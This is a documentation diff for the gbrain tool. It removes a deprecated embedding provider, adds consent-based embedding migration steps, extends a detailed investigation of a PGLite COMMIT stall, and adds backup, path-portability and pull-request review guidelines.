@@ -15,7 +15,7 @@ gbrain init --pglite --model voyage # use a non-default provider
## Init resolves your provider from your keys
-`gbrain init --pglite` auto-detects which provider to use from your provider keys — env vars or the file plane (`~/.gbrain/config.json` fields like `voyage_api_key`; env wins when both are set). With `VOYAGE_API_KEY` set, you get Voyage (`voyage:voyage-4` @ 1024d). With `OPENAI_API_KEY` set, you get OpenAI. Whenever a Voyage key is present — even if a different embedding provider is picked — the mode-bundle reranker default (`voyage:rerank-2.5`) is already ready, so init writes no reranker row at all (one key covers both; it just prints `Reranker: voyage:rerank-2.5 (mode-bundle default)`); keyed installs without a Voyage key get `search.reranker.enabled false` written instead. If multiple provider keys are set, init fires an interactive picker (non-TTY auto-picks the Voyage default when its key is present). ZeroEntropy is deprecated and excluded from both auto-pick and the picker — explicit `--embedding-model zeroentropyai:*` still works, with a loud warning. With no provider keys at all, init continues keyless (keyword-only search) with a loud notice; recover later with `gbrain init --force --embedding-model voyage:voyage-4`. Explicit flags (`--embedding-model`, `--no-embedding`) always win over key detection.
+`gbrain init --pglite` auto-detects which provider to use from your provider keys — env vars or the file plane (`~/.gbrain/config.json` fields like `voyage_api_key`; env wins when both are set). With `VOYAGE_API_KEY` set, you get Voyage (`voyage:voyage-4` @ 1024d). With `OPENAI_API_KEY` set, you get OpenAI. Whenever a Voyage key is present — even if a different embedding provider is picked — the mode-bundle reranker default (`voyage:rerank-2.5`) is already ready, so init writes no reranker row at all (one key covers both; it just prints `Reranker: voyage:rerank-2.5 (mode-bundle default)`); keyed installs without a Voyage key get `search.reranker.enabled false` written instead. If multiple provider keys are set, init fires an interactive picker (non-TTY auto-picks the Voyage default when its key is present). With no provider keys at all, init continues keyless (keyword-only search) with a loud notice; recover later with `gbrain init --force --embedding-model voyage:voyage-4`. Explicit flags (`--embedding-model`, `--no-embedding`) always win over key detection.
The resolved provider + dimensions get persisted to `~/.gbrain/config.json` atomically, so subsequent runs are deterministic across releases.
@@ -26,7 +26,6 @@ The resolved provider + dimensions get persisted to `~/.gbrain/config.json` atom
| `voyage` (**default** — `voyage-4` @ 1024d; `rerank-2.5` reranker on the same key) | `VOYAGE_API_KEY` | 1024 | 0.06 (`voyage-4`) | no | yes (`voyage-multimodal-3`) |
| `openai` | `OPENAI_API_KEY` | 1536 | 0.13 | no | no |
| `openrouter` | `OPENROUTER_API_KEY` | per-model (1536 for the default `openai/text-embedding-3-small`; unlisted ids require explicit dims) | 0.02 | no | model-dependent |
-| `zeroentropyai` — **DEPRECATED** (hosted API **shuts down 2026-09-04**; replacement `voyage:voyage-4` — see note below) | `ZEROENTROPY_API_KEY` | 2560 (Matryoshka to 1280/640/320/...) | 0.05 | no | no |
| `google` | `GOOGLE_GENERATIVE_AI_API_KEY` | 768 | 0.025 | no | no |
| `azure-openai` | `AZURE_OPENAI_API_KEY`, `AZURE_OPENAI_ENDPOINT`, `AZURE_OPENAI_DEPLOYMENT` | 1536 | 0.13 | no | no |
| `minimax` | `MINIMAX_API_KEY` | 1536 | 0.07 | no | no |
@@ -43,7 +42,7 @@ The resolved provider + dimensions get persisted to `~/.gbrain/config.json` atom
**Note on local providers.** Ollama, llama-server and LM Studio have no required API key, so they don't show up in env-detection auto-pick. Pick them explicitly with `--embedding-model ollama:<model>` to avoid silently routing to a daemon that may not be running. Ollama can also run local chat/expansion models; set those routes explicitly with `gbrain config set models.chat ollama:<model>` and related per-task model keys.
-**Note on the ZeroEntropy hosted API.** ZeroEntropy announced (2026-07-24) that its hosted endpoints shut down on **2026-09-04**, and the recipe is deprecated: init auto-pick and the interactive picker exclude it (explicit `--embedding-model zeroentropyai:*` still works, with a loud warning), every ZE embed/rerank call prints a once-per-process deprecation warning, and `gbrain providers` annotates it DEPRECATED (`providers env zeroentropyai` prints the deprecation notice + migration command instead of the signup funnel, `providers explain` leads the row with ⚠ regardless of key readiness, and `gbrain doctor`'s ZE missing-key hint is migration-first). A brain still embedding through the hosted API loses semantic retrieval entirely on that date — query embedding uses the same endpoint, so existing vectors become unqueryable, not just new content. The off-ramp: `gbrain migrate embeddings --to voyage:voyage-4 --dim 1024 --dry-run` (cost preview), then `--yes`. 1280 is not a valid Voyage width (valid: 256/512/1024/2048), so a 1280d brain gets a one-time schema/HNSW rebuild to 1024; the OpenAI alternative keeps the width (flexible dims): `--to openai:text-embedding-3-small --dim 1280`. See [the migration guide](../guides/embedding-migration.md). Self-hosting the Apache-2.0 zembed-1 weights keeps every existing vector with zero re-embed, but the endpoint must speak ZeroEntropy's wire dialect — a generic OpenAI-compatible llama-server/Ollama will NOT work without a compat proxy (details in [`docs/ai-providers/zeroentropy.md`](../ai-providers/zeroentropy.md)). `gbrain doctor` (check `provider_sunset`) flags affected brains — including ZE-backed custom embedding columns — and prints target-aware paste-ready commands (Voyage at 1024; OpenAI keep-width when the brain's actual width is valid there); accepted the risk? `gbrain config set doctor.suppress_provider_sunset true` silences it.
+**Existing brains need an explicit migration.** Removing an unsupported provider does not convert stored vectors, change their provenance, or authorize paid work. Inspect `gbrain migrate embeddings --status`, then preview a supported target with `--dry-run` and obtain approval before running it. See [the migration guide](../guides/embedding-migration.md).
## If first import fails
@@ -61,16 +60,15 @@ The doctor distinguishes two repair paths:
```
gbrain migrate embeddings --to <provider>:<model> --dim <N>
```
- Leaving ZeroEntropy specifically: `gbrain migrate embeddings --to voyage:voyage-4 --dim 1024`
- (the full playbook is `skills/migrations/v0.46.3.0.md`).
+ The explicit-consent playbook is `skills/migrations/v0.46.3.0.md`.
## Decision tree
- **Cost-sensitive, English-only**: Ollama (free, local) or Voyage (paid, best quality per dollar).
- **Quality-first**: Voyage `voyage-4-large` (1024-2048 dims, ~3-4× more dense tokens than OpenAI tiktoken).
- **Code-heavy brain (gstack per-worktree, source repos)**: Voyage `voyage-code-3` (1024 default; supports 256/512/1024/2048), or `voyage-code-4` (hosted, flexible dims, $0.12/M). Tuned on programming languages. Voyage publishes head-to-head numbers showing it outperforms their general flagships on code retrieval ([voyageai.com/blog](https://voyageai.com/blog)). For gstack's per-worktree pglite-backed code brain, this is the right default — see Topology 3 in `docs/architecture/topologies.md`.
-- **Reranking pair**: Voyage `rerank-2.5` ($0.05/M; `rerank-2.5-lite` at $0.02/M for cost-sensitive setups) is the mode-bundle default and rides the same `VOYAGE_API_KEY` as embeddings. Voyage's preview `rerank-3` / `rerank-3-lite` pair is also allowlisted — opt in with `gbrain config set search.reranker.model voyage:rerank-3` (the default stays on `rerank-2.5` so upgrades never move you); without the key search fails open in fusion order and `gbrain search modes` says so. ZeroEntropy `zerank-2` is deprecated (hosted API ends 2026-09-04); an explicitly configured `zeroentropyai:zerank-*` short-circuits past that date (see [`docs/ai-providers/zeroentropy.md`](../ai-providers/zeroentropy.md)).
-- **Local reranking (no API spend)**: `llama-server-reranker` recipe — point gbrain at your own `llama-server --reranking` instance running Qwen3-Reranker or self-hosted ZeroEntropy weights. Same `gateway.rerank()` seam, $0 per call. Walkthrough in [`docs/ai-providers/llama-server-reranker.md`](../ai-providers/llama-server-reranker.md).
+- **Reranking pair**: Voyage `rerank-2.5` ($0.05/M; `rerank-2.5-lite` at $0.02/M for cost-sensitive setups) is the mode-bundle default and rides the same `VOYAGE_API_KEY` as embeddings. Voyage's preview `rerank-3` / `rerank-3-lite` pair is also allowlisted — opt in with `gbrain config set search.reranker.model voyage:rerank-3` (the default stays on `rerank-2.5` so upgrades never move you); without the key search fails open in fusion order and `gbrain search modes` says so.
+- **Local reranking (no API spend)**: `llama-server-reranker` recipe — point gbrain at your own `llama-server --reranking` instance running Qwen3-Reranker. Same `gateway.rerank()` seam, $0 per call. Walkthrough in [`docs/ai-providers/llama-server-reranker.md`](../ai-providers/llama-server-reranker.md).
- **One key for many hosted models**: OpenRouter. Set `OPENROUTER_API_KEY` and use `openrouter:<provider>/<model>` for chat against GPT-5.2, Claude 4.x, Gemini 3, DeepSeek, and dozens more without juggling per-provider keys. Embedding catalog includes OpenAI, Google, Qwen, BGE-M3.
- **Enterprise compliance**: Azure OpenAI (data residency + private endpoints) or self-hosted via llama-server / Ollama.
- **China region**: DashScope (Alibaba) or Zhipu (BigModel). DashScope's international endpoint at `dashscope-intl.aliyuncs.com`; override `provider_base_urls.dashscope` for the China endpoint.
@@ -245,9 +243,19 @@ Four options:
Embedding dimensions are baked into the schema at `gbrain init` time. `gbrain config set embedding_model` and `gbrain config set embedding_dimensions` are refused — the schema column has to resize alongside the config, and `config set` only touches the config row.
-The supported paths:
+Use `gbrain migrate embeddings` on **both PGLite and Postgres**. It coordinates
+schema, config, vector invalidation and the re-embed pass, with a resumable
+checkpoint. Start with `--status`, choose a supported model and width, then
+preview the cost before approving any write:
-- **PGLite (default install):** `gbrain reinit-pglite --embedding-model <provider>:<model> --embedding-dimensions <N>` — one-command wipe-and-reinit that preserves every other config field (chat model, expansion model, API keys), backs up the prior brain to `<path>.bak`, runs `gbrain init` with the new flags, and re-syncs your brain repo. Add `--no-sync` to skip the resync, `--yes` to skip the TTY confirmation, `--json` for scripts.
-- **Postgres (Supabase / self-hosted):** follow the SQL recipe in `docs/embedding-migrations.md` (drop the HNSW index, ALTER COLUMN TYPE, clear stale embeddings, recreate the index conditionally, then `gbrain init --supabase --embedding-model X --embedding-dimensions N` to update the file plane and re-embed).
+```bash
+gbrain migrate embeddings --to voyage:voyage-4 --dim 1024 --dry-run
+```
+
+Only after the user approves the target, affected data and cost should the agent
+run the same command with `--yes` instead of `--dry-run`. Keep a verified full
+backup and quiesce embedding writers first. Do not use a config edit or a
+wipe-and-reinitialize shortcut to switch an existing brain. See
+[the migration guide](../guides/embedding-migration.md).
`gbrain doctor` 8c "alternative_providers" surfaces unconfigured providers whose env is already set — useful when you've configured OpenAI but also have e.g. `VOYAGE_API_KEY` exported and want to know you can switch without extra setup.
diff --git a/docs/issues/5284-reindex-markdown-investigation.md b/docs/issues/5284-reindex-markdown-investigation.md
index 02a03e766d..034f795b5b 100644
--- a/docs/issues/5284-reindex-markdown-investigation.md
+++ b/docs/issues/5284-reindex-markdown-investigation.md
@@ -2,9 +2,11 @@
## Disposition
-**not-reproduced-with-evidence** on the synthetic Linux fixture below. This is
-not a fix or a claim that the reported macOS failure is resolved. No production
-reindex or engine behavior was changed for this investigation.
+**Original macOS failure unresolved.** The fresh-store controls below did not
+reproduce it. A later bounded mutation-pressure experiment on Linux reproduced
+a COMMIT-tail stall and a subsequent real-CLI reindex stall, documented below;
+their identity with the reported macOS failure is not established. No production
+reindex or engine behavior was changed for these investigations.
Issue #5284 reports PGLite 0.4.3 spinning inside COMMIT after approximately
2,600–3,300 writes, with a stalled event loop and no recovery after 48 minutes.
@@ -168,14 +170,142 @@ that control, but does not reproduce macOS 27 or the aged large-store condition.
## Remaining prerequisite
-To diagnose the reported wedge rather than this passing workload, run the
-bounded harness on macOS ARM64 with the reported Bun version, or supply a
-**generic synthetic generator** that reproduces the relevant aged-store/WAL
-pressure. The fixture's fresh, compressible text and much smaller store do not
-match the report's 3.6 GB state. No private corpus is needed or requested.
+To establish whether the Linux pressure stalls below explain the original
+report, replay the pressure workload on macOS 27 ARM64 with Bun 1.4.2 and compare
+the failing transaction and WASM ancestry. The fresh controls and the partially
+churned store still do not match the report's aged 3.6 GB state. No private
+corpus is needed or requested.
-A failing run must retain its last transaction marker and external process
+A failing macOS run must retain its last transaction marker and external process
sample. `body_done` without `committed` narrows the failure to the completion
-path; a named WASM stack would be needed to identify the Postgres-side spin.
+path; its WASM frames must be identified before equating that spin with the
+Linux profiles below.
Until that evidence exists, periodic reconnects or checkpoint commands would
be speculative mitigations, not an established root-cause fix.
+
+## Bounded mutation-pressure follow-up (`6040075`)
+
+This follow-up used an immutable `6040075c6cb95be5881cc2e1b76ef7d71f4e5d29`
+checkout on Linux x86-64, pinned Bun 1.4.2 and PGLite 0.4.3. It reused the
+retained fixture's 5,600-page/eight-section seed, isolated environment, fetch
+refusal and real-CLI transaction preload. Automatic WAL repair was disabled
+(`GBRAIN_PGLITE_WAL_REPAIR=off`). No private corpus or live brain was opened.
+
+The scratch aging workload intended two deterministic cycles followed by
+restoring the small bodies and running reindex. Each page transaction replaced
+its body with 131,072 bytes of base64-encoded deterministic xorshift32 output
+and replaced its chunks with 32 slices of 4,096 bytes. Every fourth page was
+deleted and reinserted, including its synthetic tag; other pages were updated
+in place. This used actual `pages`, `content_chunks` and cascade relationships,
+but raw SQL rather than the importer for aging. The high-entropy payload is a
+write-pressure probe, not representative prose, embeddings or elapsed aging.
+The first cycle stalled early, so neither a complete aging cycle nor the
+intended 3.6 GB condition was achieved.
+
+An independent Python process sampled CPU/RSS, directory sizes and last trace
+every two seconds. The initial aging launcher had a one-hour deadline; follow-up
+commands had individual deadlines. All had an 8 GiB per-store cap and a 6 GiB
+sampled-RSS cap. The four stalls in the table were externally SIGKILLed after
+120 seconds without trace progress, then reaped. Store copies and file hashes
+were retained; the first churn and reindex crash images were copied before
+reopening their working stores. The
+scratch generator and diagnostic scripts were not added to installed tooling.
+
+| Phase | Completed transactions | Last trace before termination | Store / WAL at stop |
+| --- | ---: | --- | ---: |
+| First churn, Bun 1.4.2 | 449 | `body_done`, zero-based page 449 | 905.9 / 528 MiB |
+| Same recovered state, Bun 1.3.14 | 397 additional | `begin`, page 846; no `body_done` | 1,212.0 / 544 MiB |
+| Same recovered state, Bun 1.4.2 | 397 additional | `begin`, page 846; no `body_done` | 1,212.0 / 544 MiB |
+| Real reindex after first recovery, Bun 1.4.2 | 5,519 page transactions | `begin`, transaction 5,520; no `body_done` | 1,072.9 / 544 MiB |
+
+Sizes are sums of logical file lengths, not database row sizes. The first
+churn grew the directory from 97,542,394 to 949,920,385 bytes and WAL from
+48 to 528 MiB (33 segments). Its final `body_done` was at
+`2026-09-23T22:51:11.535Z`; the external kill was 120 seconds later. During
+the stall one thread remained near 100% CPU, directory sizes stopped changing,
+and repeated `/proc/<pid>/io` snapshots were identical. Six of seven separate
+debugger samples contained `clock_gettime`; their unnamed frames did not
+identify the Postgres function. All four rows above ended by SIGKILL, not by
+a returned database error or a successful launcher exit.
+
+The first reopen exited zero with exactly 449 changed pages. Page 449 retained
+its original body and one legacy chunk, while page 448 had its new body and
+32 chunks. All 5,600 pages and tags remained; no chunks were missing or
+orphaned, and concatenating each changed page's ordered chunks recovered its
+body exactly. Both runtime-repeat reopens also exited zero and retained
+exactly 846 changed pages with the same consistency checks passing. These
+checks do not prove every index or every recovery path is healthy.
+
+The measured reindex command remained the real CLI:
+
+```sh
+"$BUN_1_4_2" --no-env-file \
+ --preload "$CHECKOUT/test/fixtures/reindex-markdown-perf.ts" \
+ "$CHECKOUT/src/cli.ts" reindex --markdown --no-embed --json --repo "$ROOT/notes"
+```
+
+It ran on the first recovered, partially churned store, not on a fresh control.
+The last transaction began at 193.12 seconds; the external watchdog terminated
+the child at 315.27 seconds. Reopening found exactly 81 pending pages, with no
+current-version pages missing chunks, mismatched projection revisions or
+missing tags. A new invocation completed all 81 in 14.31 seconds, with one
+additional statistics transaction, zero failures and zero pending pages. A
+fresh inspection passed the same consistency checks; the immediate no-op
+committed zero transactions. There was no connection recycling inside either
+CLI invocation.
+
+A direct PGLite probe on Node 24.18.0, bypassing GBrain's engine wrapper, also
+stalled on a copy of the same recovered state after 397 further transactions.
+Statement markers locate that stop in `INSERT content_chunks`, rather than
+COMMIT. An external V8 CPU profile captured 9,082 samples over 10.05 seconds,
+all at `wasm-function[1298]`. The shipped WASM export table maps index 1298 to
+`XLogFlush`; its sampled ancestry contains two `XLogFlush` frames. The binary
+has no name or source-map section, but exported function indices still allow
+this partial attribution. This names a function in the synthetic follow-up,
+not in the original macOS sample, and does not yet identify the faulty branch
+or justify a checkpoint/reconnect patch.
+
+A second direct-PGLite/Node probe started from a newly seeded store, with no
+prior crash, and stopped at the first churn's same `body_done` boundary on
+page 449. Its 10.08-second profile contains 9,025 samples. The hot ancestry
+maps to `CommitTransactionCommand` → `XLogFlush` → unnamed frames → `pg_usleep`
+→ `nanosleep` → `_emscripten_get_now`. This independently locates a synthetic
+COMMIT clock loop without relying on the recovered-store insertion failure.
+The intermediate unexported functions and the original macOS stack still need
+attribution; these observations do not establish a production fix.
+
+The useful change in evidence is a bounded synthetic pressure failure, including
+an actual reindex stop and successful process-level resume. It is not another
+passing fresh-store benchmark, a reproduction of the complete reported platform
+and store, or proof that all these stops share one cause.
+
+### Schema-free PGLite control
+
+A final bounded control removed GBrain's schema, triggers and engine wrapper.
+It created only `pressure(id integer PRIMARY KEY, payload text NOT NULL)` in a
+fresh PGLite 0.4.3 store, with zero user triggers and only the built-in `plpgsql`
+extension. Each transaction inserted one deterministic 131,072-byte text value.
+Both Node 24.18.0 and Bun 1.4.2 committed exactly 3,905 rows, then stopped after
+`body_done` for row 3,905. Their external watchdogs ended the processes with
+SIGKILL. Both stores stopped at 1,110,343,985 logical bytes, including 528 MiB
+of WAL, and both reopened successfully with rows 0 through 3,904, correct
+payload lengths and matching first/last payload hashes. This is not a full
+payload or index-integrity audit.
+
+The Node profile contains 8,998 samples over 10.04 seconds. Its hot ancestry
+again includes `CommitTransactionCommand`, `XLogFlush`, the same unexported
+intermediate frames, `pg_usleep`, `nanosleep` and `_emscripten_get_now`. The
+minimal reproduction rules out GBrain's schema and wrappers as prerequisites
+for this Linux pressure failure; the second runtime also rules out a
+Bun-only prerequisite.
+
+The PostgreSQL source pinned by PGLite's 0.4.3 release, commit
+`0c98d7c9c9bd3b0d01cb6728c4802b705f05ee54`, provides a concrete upstream lead.
+Its WAL writer can request a checkpoint when a segment completes;
+`RequestCheckpoint` runs `CreateCheckPoint` synchronously under `__PGLITE__`.
+The commit path sets `DELAY_CHKPT_START` before flushing WAL and clears it
+afterward, while checkpoint creation waits on that flag with `pg_usleep`.
+This is consistent with a checkpoint waiting on the transaction that called
+it. The original macOS stack and a direct runtime observation of those flag
+values are still missing, so this wave adds neither an engine patch nor a
+checkpoint/reconnect workaround, and does not close #5284.
diff --git a/docs/issues/cross-modal-search.md b/docs/issues/cross-modal-search.md
index b8d6c3b4f0..ddf71e2ecb 100644
--- a/docs/issues/cross-modal-search.md
+++ b/docs/issues/cross-modal-search.md
@@ -9,7 +9,7 @@ gbrain has a working multimodal embedding pipeline (Voyage multimodal-3, `embedd
**What the user sees:** You can't search "photos from the hackathon" and get actual images. You can't upload a photo and ask "what do we know about this person?" Text search returns text. Image embeddings sit unused except via explicit `embeddingColumn: 'embedding_image'` override, which no user-facing path triggers.
**What the system does:**
-- Text queries embed through the configured text model (OpenAI/ZE) and search the text column
+- Text queries embed through the configured text model (for example OpenAI or Voyage) and search the text column
- The `embedding_image` column exists (Voyage multimodal-3, 1024d) with 11,204 embedded chunks and a valid 83 MB HNSW index
- `postgres-engine.ts:searchVector()` supports `embeddingColumn: 'embedding_image'` but the query vector must come from a compatible model (Voyage multimodal, 1024d)
- Currently, `embedQuery()` always uses the text embedding model, producing a 1536d or 2560d vector that can't query the 1024d image column
diff --git a/docs/tutorials/company-brain.md b/docs/tutorials/company-brain.md
index 9d2b37d8fe..619fc1139a 100644
--- a/docs/tutorials/company-brain.md
+++ b/docs/tutorials/company-brain.md
@@ -546,9 +546,15 @@ OAuth source scoping only guards the HTTP MCP path. If the brain's Postgres and
## Part 13: Cost and speed expectations
-Real numbers from the published benchmark snapshot (2026-05-23, v0.40.6.0, measured on the ZeroEntropy embedding stack, which is deprecated with its hosted API ending 2026-09-04; the default Voyage `voyage-4` + `rerank-2.5` stack is in the same price and latency class):
-
-- **Embedding cost:** the default (`voyage:voyage-4`) is $0.06 per million tokens; the snapshot's ZeroEntropy stack is $0.05. For comparison, GBrain configured with OpenAI is $0.13.
+Historical numbers from the published benchmark snapshot (2026-05-23,
+v0.40.6.0) were measured on a retired hosted embedding stack, not the current
+Voyage default. Provider identifiers are redacted; original attribution is
+preserved at Git revision `6040075c6cb95be5881cc2e1b76ef7d71f4e5d29`
+(retained on 2026-09-23). The measurements below are unchanged and do not
+establish a supported replacement's latency or throughput. The later
+LongMemEval result is separately dated and labeled.
+
+- **Embedding cost:** the default (`voyage:voyage-4`) is $0.06 per million tokens; the snapshot's retired hosted stack is $0.05. For comparison, GBrain configured with OpenAI is $0.13.
- **Ingest speed:** about 22 seconds for a small test corpus of 164 pages on the host machine. For a 10K-page corpus, expect about 20 minutes the first time, then most syncs are incremental and finish in seconds.
- **Query latency:** about 122 ms median for a `gbrain search`. For comparison, the same query through GBrain with OpenAI takes about 282 ms.
- **Synthesized-answer latency:** a few seconds, dominated by the Anthropic API.
diff --git a/llms-full.txt b/llms-full.txt
index a17f57b003..ab4fd84c6d 100644
--- a/llms-full.txt
+++ b/llms-full.txt
@@ -1136,7 +1136,13 @@ chmod 700 /workspace/gbrain-backups
Each output filename must be new. The command holds the real PGLite writer
lock, takes a full database dump, checks the managed file inventory for changes,
-and publishes a checksummed archive with mode `0600`. A busy database or a
+and publishes a checksummed archive with POSIX mode `0600`. On Windows, built-in
+Windows PowerShell establishes and verifies access for the current owner and
+SYSTEM before writing backup payloads. It protects only newly created backup
+paths, never changes existing parent permissions, and refuses with
+`private_backup_path_unavailable` if enforcement is unavailable. Use a new private
+destination on a local filesystem with Windows ACL support and permitted
+Windows PowerShell. A busy database or a
changing file fails the operation instead of publishing a success receipt.
| Included | Excluded or inventoried for reconnection |
@@ -1177,6 +1183,14 @@ cancels every unfinished background job in one transaction, preserving its
previous status for inspection. Completed history remains. No worker, connector,
sync, native routine, or paid operation starts.
+Archive paths are portable forward-slash names; traversal, reserved Windows
+names and ambiguous case or normalization collisions are rejected. Recognized
+nested paths are rebased using the recorded platform's path rules. Unrecognized
+legacy absolute page origins remain unchanged and appear in the reconnect
+inventory for review before sync. Remembered text is never rewritten to replace
+old paths, and restoration is not a promise that every historical origin is
+portable.
+
External checkout and API sources keep their remembered pages available, but
their live connector configuration is quarantined and sync is disabled. The
prior configuration is retained in the private `.gbrain/restore-detached.json`
@@ -2031,6 +2045,51 @@ Pass `job.updateProgress` from minion handlers. Keep phase names stable and use
`startHeartbeat` with try/finally cleanup for long queries. Read
[progress events](docs/progress-events.md) before wiring a new command.
+## PR acceptance: evidence, not trust
+
+**Treat every PR as untrusted, potentially incorrect, incomplete or unsafe,
+including our own.** Reputation, confident explanations, supplied tests and green
+CI are not proof. Judge the work, not unsubstantiated claims about its author.
+
+- **Prove the problem separately from the patch.** Trace the actual callers and
+ current contract; independently reproduce the reported failure on a pinned
+ baseline with isolated synthetic fixtures. Record commands, environments, exit
+ statuses and wrong results. Separate reproduced defects, code-backed evidence
+ and unverified reports; do not promise an unproven fix or issue closure.
+- **Read the entire diff before executing it.** Inspect test, dependency, script,
+ workflow and generated-file changes and callers outside the diff. Do not expose
+ credentials, live databases, private corpora or paid providers to untrusted code.
+- **Make tests discriminate.** Independently designed regression tests must fail
+ on the baseline and pass with the repair, asserting user-visible outcomes and
+ exact preserved state. Reject bug-bypassing mocks, vacuous assertions and hidden
+ skips. Changing an existing contract needs approval, not a weakened assertion.
+- **Attack the boundaries.** Check authorization, brain/source identity, revisions,
+ stale queued work, concurrent changes, retries, crash recovery and failure
+ receipts. Prove intended data survives and stale or unauthorized writes remain
+ refused. Native filesystem, engine and lifecycle claims require native tests;
+ injected platform flags or path simulations do not prove end-to-end support.
+- **Keep a verdict and evidence ledger.** Pin baseline and PR hashes; record each
+ proposal as accept, rework, reject or not yet proven. Classify failures through
+ same-test baseline/patch comparisons, not assumed flakes. Recheck changed heads;
+ narrow probes do not replace release gates or implementation approval.
+
+## Fix waves: ONE PR
+
+**A fix wave ships as ONE PR unless the user overrides this for that wave.**
+Parallel tasks are fine; integrate reviewed work into one branch with reviewable
+commits. Do not open per-issue or per-task PRs, or a PR stack.
+
+1. Investigate the named issues and adjacent failures in the same safety boundary.
+ Apply the acceptance standard above. Exclude unrelated features; record
+ deferrals and unresolved reports rather than assuming closure.
+2. Run `/plan-ceo-review` and `/plan-eng-review`. Incorporate recommendations within
+ the requested scope, respecting the user's directions on review decisions.
+ Explain the revised plan in plain language (ELI10) and wait for approval before
+ product implementation. A plan review is not implementation or merge consent.
+3. Implement only the approved scope, integrate and verify the whole wave, then
+ use `/ship` and the full gates in [docs/RELEASING.md](docs/RELEASING.md), including
+ the community-wave security scan. Publish one PR; do not merge without approval.
+
## Capturing test output (NEVER pipe through `tail` / `head`)
Preserve full logs and the real exit status; piping tests into `tail` can hide
@@ -2358,11 +2417,11 @@ GBrain is keyless. Explain these boundaries before enabling a capability; see
Skip API-key setup for the initial keyless memory path. If the user enables semantic retrieval or paid enrichment, configure the selected provider explicitly. GBrain defaults to the Voyage embedding + reranker stack
(`voyage:voyage-4` @ 1024d + `voyage:rerank-2.5` — one key covers both); OpenAI is the
-main alternative, chosen at init via `--embedding-model <provider:model>`. ZeroEntropy
-is deprecated (its hosted API shuts down 2026-09-04): init auto-pick and the picker
-exclude it, and every ZE embed/rerank prints a deprecation warning. **Existing brain
-still on ZeroEntropy (or any need to switch embedding/reranker models later)?** Follow
-the playbook at `skills/migrations/v0.46.3.0.md` — one command migrates both.
+main alternative, chosen at init via `--embedding-model <provider:model>`.
+**Need to switch an existing brain's embedding or reranker model?** Follow
+the explicit-consent playbook at `skills/migrations/v0.46.3.0.md`. Preview the
+work and cost, obtain approval, then migrate; an upgrade never converts existing
+vectors or authorizes a paid re-embed.
```bash
export VOYAGE_API_KEY=pa-... # default embedding + reranker (one key covers both)
@@ -3035,7 +3094,7 @@ off until the user opts in, and paid enrichment is a separate choice.
| "connect grok bot to my brain", "connect muse to my brain", "connect claude desktop to my brain", "reach my brain from my phone" | `skills/remote-mcp/SKILL.md` (host-side publishing, then `skills/mcp-access/SKILL.md` / hosted access selects native OAuth or a private machine handoff) |
| "Migrate from Obsidian/Notion/Logseq" | `skills/migrate/SKILL.md` |
| "connect our company brain", "connect our existing company brain", "import an existing company brain" | `skills/migrate/SKILL.md` (company repository workflow; preview and approval before import, not sanitization) |
-| "Switch embedding provider" / "migrate my embeddings" / "switch reranker" / "ZeroEntropy" / "provider_sunset" / "search stopped working after a provider shutdown" | `skills/migrations/v0.46.3.0.md` |
+| "Switch embedding provider" / "migrate my embeddings" / "switch reranker" / "unsupported embedding provider" / "search stopped working after a provider shutdown" | `skills/migrations/v0.46.3.0.md` |
| Brain health check, maintenance run | `skills/maintain/SKILL.md` |
| "Extract links", "build link graph", "populate timeline" | `skills/maintain/SKILL.md` (extraction sections) |
| "Run dream", "process today's session", "synthesize my conversations", "consolidate yesterday's conversations", "what patterns did you see", "did the dream cycle run", "retriage the backlog", "re-score the triage" | `skills/maintain/SKILL.md` (dream cycle section) |
@@ -3475,8 +3534,8 @@ Data flowing into the brain. Each integration is a recipe — markdown + setup h
- **Voice**: Phone calls create brain pages via Twilio + OpenAI Realtime (or DIY STT+LLM+TTS). Setup recipe: [`recipes/twilio-voice-brain.md`](recipes/twilio-voice-brain.md).
- **Gmail + Calendar + Contacts (native)**: the google source kind syncs threads, events, and contacts through your own OAuth client and runs the open-loop engine on top (`gbrain waiting`). Setup: [`docs/guides/google-connect.md`](docs/guides/google-connect.md); recipes: [`recipes/email-to-brain.md`](recipes/email-to-brain.md), [`recipes/calendar-to-brain.md`](recipes/calendar-to-brain.md).
- **Email + calendar (webhooks)**: webhook handlers that route to brain signals. [`docs/integrations/meeting-webhooks.md`](docs/integrations/meeting-webhooks.md).
-- **Embedding providers**: a dozen providers covered — Voyage (default: `voyage-4` @ 1024d), OpenAI, OpenRouter, Google Gemini, Azure OpenAI, MiniMax, Alibaba DashScope, Zhipu, Ollama (local), llama.cpp llama-server (local), LiteLLM proxy, plus ZeroEntropy (deprecated — hosted API ends 2026-09-04). Pricing matrix + decision tree in [`docs/integrations/embedding-providers.md`](docs/integrations/embedding-providers.md).
-- **Rerankers**: Voyage `rerank-2.5` hosted (the default; reranking is on in `balanced` and `tokenmax` modes, same `VOYAGE_API_KEY` as embeddings; the preview `rerank-3` / `rerank-3-lite` are selectable with `gbrain config set search.reranker.model voyage:rerank-3`), ZeroEntropy `zerank-2` (deprecated — hosted API ends 2026-09-04; an explicit config short-circuits past that date), plus the `llama-server-reranker` recipe for fully-local cross-encoder rerank via llama.cpp — runs Qwen3-Reranker or self-hosted zerank weights against the same `gateway.rerank()` seam. Setup walkthrough in [`docs/ai-providers/llama-server-reranker.md`](docs/ai-providers/llama-server-reranker.md).
+- **Embedding providers**: Voyage (new-install default: `voyage-4` @ 1024d), OpenAI, OpenRouter, Google Gemini, Azure OpenAI, MiniMax, Alibaba DashScope, Zhipu, Ollama (local), llama.cpp llama-server (local), LM Studio, Together, and LiteLLM proxy. Pricing matrix + decision tree in [`docs/integrations/embedding-providers.md`](docs/integrations/embedding-providers.md). Existing vectors are never converted by changing the default; use the explicitly approved [embedding migration](docs/guides/embedding-migration.md).
+- **Rerankers**: Voyage `rerank-2.5` hosted (the default; reranking is on in `balanced` and `tokenmax` modes, same `VOYAGE_API_KEY` as embeddings; the preview `rerank-3` / `rerank-3-lite` are selectable with `gbrain config set search.reranker.model voyage:rerank-3`), plus the `llama-server-reranker` recipe for fully-local cross-encoder rerank via llama.cpp running Qwen3-Reranker against the same `gateway.rerank()` seam. Setup walkthrough in [`docs/ai-providers/llama-server-reranker.md`](docs/ai-providers/llama-server-reranker.md).
- **Credential vault + gateway**: `gbrain creds` manages OAuth and API credentials in a local vault ([`recipes/credential-gateway.md`](recipes/credential-gateway.md)); agent-side vault-aware secret distribution: [`docs/integrations/credential-gateway.md`](docs/integrations/credential-gateway.md).
- **MCP clients**: every major MCP client is supported. [`docs/mcp/`](docs/mcp/) per-client setup.
